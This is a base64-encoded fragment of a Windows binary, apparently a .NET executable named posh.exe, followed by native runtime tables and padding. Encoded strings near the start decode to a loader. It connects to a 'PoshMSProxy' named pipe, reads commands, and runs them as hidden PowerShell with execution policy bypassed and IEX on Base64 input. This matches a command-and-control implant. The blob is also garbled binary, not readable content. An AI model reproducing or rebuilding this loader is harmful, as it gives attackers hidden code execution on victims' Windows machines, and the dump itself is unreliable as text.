ASABBAEEAYgBBAEIAaABBAEcATQBBAFoAUQBBAGcAQQBDAEkAQQBjAEEAQgB2AEEASABjAEEAWgBRAEIAeQBBAEgATQBBAGEAQQBCAGwAQQBHAHcAQQBiAEEAQQBnAEEAQwAwAEEAWgBRAEIANABBAEcAVQBBAFkAdwBBAGcAQQBHAEkAQQBlAFEAQgB3AEEARwBFAEEAYwB3AEIAegBBAEMAQQBBAEwAUQBCAE8AQQBHADgAQQBiAGcAQgBwAEEARwA0AEEAZABBAEIAbABBAEgASQBBAFkAUQBCAGoAQQBIAFEAQQBhAFEAQgAyAEEARwBVAEEASQBBAEEAdABBAEgAYwBBAGEAUQBCAHUAQQBHAFEAQQBiAHcAQgAzAEEASABNAEEAZABBAEIANQBBAEcAdwBBAFoAUQBBAGcAQQBHAGcAQQBhAFEAQgBrAEEARwBRAEEAWgBRAEIAdQBBAEMAQQBBAEwAUQBCAGwAQQBDAEEAQQBJAGcAQQBzAEEAQwBJAEEASQBnAEEATgBBAEEAbwBBAFMAUQBCAEYAQQBGAGcAQQBJAEEAQQBvAEEARgBzAEEAVQB3AEIANQBBAEgATQBBAGQAQQBCAGwAQQBHADAAQQBMAGcAQgBVAEEARwBVAEEAZQBBAEIAMABBAEMANABBAFIAUQBCAHUAQQBHAE0AQQBiAHcAQgBrAEEARwBrAEEAYgBnAEIAbgBBAEYAMABBAE8AZwBBADYAQQBGAFUAQQBUAGcAQgBKAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEwAZwBCAEgAQQBHAFUAQQBkAEEAQgBUAEEASABRAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAG8AQQBGAHMAQQBVAHcAQgA1AEEASABNAEEAZABBAEIAbABBAEcAMABBAEwAZwBCAEQAQQBHADgAQQBiAGcAQgAyAEEARwBVAEEAYwBnAEIAMABBAEYAMABBAE8AZwBBADYAQQBFAFkAQQBjAGcAQgB2AEEARwAwAEEAUQBnAEIAaABBAEgATQBBAFoAUQBBADIAQQBEAFEAQQBVAHcAQgAwAEEASABJAEEAYQBRAEIAdQBBAEcAYwBBAEsAQQBBAGsAQQBIAEkAQQBLAFEAQQBwAEEAQwBrAEEAAIeBWQBRAEIAawBBAEcAUQBBAEwAUQBCAFUAQQBIAGsAQQBjAEEAQgBsAEEAQwBBAEEATABRAEIAaABBAEgATQBBAGMAdwBCAGwAQQBHADAAQQBZAGcAQgBzAEEASABrAEEASQBBAEEAaQBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAUQB3AEIAdgBBAEgASQBBAFoAUQBBAGkAQQBEAHMAQQBJAEEAQQBOAEEAQQBvAEEASgBBAEIAdwBBAEcAawBBAEkAQQBBADkAQQBDAEEAQQBiAGcAQgBsAEEASABjAEEATABRAEIAdgBBAEcASQBBAGEAZwBCAGwAQQBHAE0AQQBkAEEAQQBnAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBTAFEAQgBQAEEAQwA0AEEAVQBBAEIAcABBAEgAQQBBAFoAUQBCAHoAQQBDADQAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEIAawBBAEYAQQBBAGEAUQBCAHcAQQBHAFUAQQBRAHcAQgBzAEEARwBrAEEAWgBRAEIAdQBBAEgAUQBBAFUAdwBCADAAQQBIAEkAQQBaAFEAQgBoAEEARwAwAEEASwBBAEEAbgBBAEYAQQBBAGIAdwBCAHoAQQBHAGcAQQBUAFEAQgBUAEEARgBBAEEAYwBnAEIAdgBBAEgAZwBBAGUAUQBBAG4AQQBDAGsAQQBPAHcAQQBnAEEAQQAwAEEAQwBnAEEAawBBAEgAQQBBAGEAUQBBAHUAQQBFAE0AQQBiAHcAQgB1AEEARwA0AEEAWgBRAEIAagBBAEgAUQBBAEsAQQBBAHAAQQBEAHMAQQBEAFEAQQBLAEEAQwBRAEEAYwBBAEIAeQBBAEMAQQBBAFAAUQBBAGcAQQBHADQAQQBaAFEAQgAzAEEAQwAwAEEAYgB3AEIAaQBBAEcAbwBBAFoAUQBCAGoAQQBIAFEAQQBJAEEAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBFAGsAQQBUAHcAQQB1AEEARgBNAEEAZABBAEIAeQBBAEcAVQBBAFkAUQBCAHQAQQBGAEkAQQBaAFEAQgBoAEEARwBRAEEAWgBRAEIAeQBBAEMAZwBBAEoAQQBCAHcAQQBHAGsAQQBLAFEAQQA3AEEAQwBBAEEARABRAEEASwBBAEMAUQBBAGMAZwBBAGcAQQBEADAAQQBJAEEAQQBrAEEASABBAEEAYwBnAEEAdQBBAEYASQBBAFoAUQBCAGgAQQBHAFEAQQBUAEEAQgBwAEEARwA0AEEAWgBRAEEAbwBBAEMAawBBAEkAQQBBAHQAQQBIAEkAQQBaAFEAQgB3AEEARwB3AEEAWQBRAEIAagBBAEcAVQBBAEkAQQBBAGkAQQBIAEEAQQBiAHcAQgAzAEEARwBVAEEAYwBnAEIAegBBAEcAZwBBAFoAUQBCAHMAQQBHAHcAQQBJAEEAQQB0AEEARwBVAEEAZQBBAEIAbABBAEcATQBBAEkAQQBCAGkAQQBIAGsAQQBjAEEAQgBoAEEASABNAEEAYwB3AEEAZwBBAEMAMABBAFQAZwBCAHYAQQBHADQAQQBhAFEAQgB1AEEASABRAEEAWgBRAEIAeQBBAEcARQBBAFkAdwBCADAAQQBHAGsAQQBkAGcAQgBsAEEAQwBBAEEATABRAEIAMwBBAEcAawBBAGIAZwBCAGsAQQBHADgAQQBkAHcAQgB6AEEASABRAEEAZQBRAEIAcwBBAEcAVQBBAEkAQQBCAG8AQQBHAGsAQQBaAEEAQgBrAEEARwBVAEEAYgBnAEEAZwBBAEMAMABBAFoAUQBBAGcAQQBDAEkAQQBMAEEAQQBpAEEAQwBJAEEARABRAEEASwBBAEUAawBBAFIAUQBCAFkAQQBDAEEAQQBLAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBWAEEAQgBsAEEASABnAEEAZABBAEEAdQBBAEUAVQBBAGIAZwBCAGoAQQBHADgAQQBaAEEAQgBwAEEARwA0AEEAWgB3AEIAZABBAEQAbwBBAE8AZwBCAFYAQQBFADQAQQBTAFEAQgBEAEEARQA4AEEAUgBBAEIARgBBAEMANABBAFIAdwBCAGwAQQBIAFEAQQBVAHcAQgAwAEEASABJAEEAYQBRAEIAdQBBAEcAYwBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFEAdwBCAHYAQQBHADQAQQBkAGcAQgBsAEEASABJAEEAZABBAEIAZABBAEQAbwBBAE8AZwBCAEcAQQBIAEkAQQBiAHcAQgB0AEEARQBJAEEAWQB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